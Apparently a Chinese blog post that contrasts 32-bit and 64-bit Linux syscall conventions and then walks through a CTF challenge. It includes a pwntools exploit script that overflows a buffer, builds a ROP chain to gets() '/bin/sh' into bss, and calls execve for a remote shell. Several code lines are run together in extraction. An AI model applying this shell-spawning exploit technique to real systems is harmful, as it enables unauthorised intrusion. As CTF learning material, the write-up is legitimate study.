64位linux 系统调用,关于32位和64位linux的系统调用

32位和64位的syscall原理都是一样

只有传参和调用存在差异,以下一起说,做个对比

32位系统调用使用 " int 80h "

64位系统调用使用 " syscall " (汇编代码就是syscall 直接ROPgadget--only查找即可)

32的系统调用号与64位的不大一样 使用的时候最好百度一下

比如

32位     #define __NR_execve 11

64位     #define __NR_execve 59

32位的系统调用号放在eax 传参依次是 EBX、ECX、EDX、ESI、EDI、EBP

64位的系统调用号放在rax 传参依次是 RDI、RSI、RDX、R10、R8、R9  (和64位函数传参一样)

一个64位的题目

题目说的很清楚了 构造ROP chain

没有/bin/sh字眼 只能自己gets  到bss区域 然后调用execve

(想过使用shellcode 但是没找到合适的可执行地址)

from pwn import *

#io=process('./chall')

elf=ELF('./chall')

io=remote('hack.bckdr.in',15102)#context(os='linux', arch='amd64', log_level='debug')#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']#gdb.attach(proc.pidof(io)[0])

bss_addr=elf.bss()print 'bss_addr:'+hex(bss_addr)

gets_addr=0x04086A0main_addr=0x4010A0start_addr=0x400F4Epop_rax=0x46b9f8pop_rdi=0x4016c3pop_rsi=0x4017d7pop_rdx=0x4377d5syscal=0x400488payload='A'*0x28payload+=p64(pop_rdi)+p64(bss_addr)

payload+=p64(gets_addr)

payload+=p64(main_addr)

io.sendlineafter('Create a ROP chain for me\n',payload)

sleep(1)

io.send('/bin/sh\n')

sleep(1)

payload='A'*0x28payload+=p64(pop_rax)+p64(59)

payload+=p64(pop_rdi)+p64(bss_addr)

payload+=p64(pop_rsi)+p64(0)

payload+=p64(pop_rdx)+p64(0)

payload+=p64(syscal)

sleep(2)

io.sendlineafter('Create a ROP chain for me\n',payload)#io.send('/bin/sh\n')

io.interactive()#rax rdi rsi rdx#59 sh 0 0

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值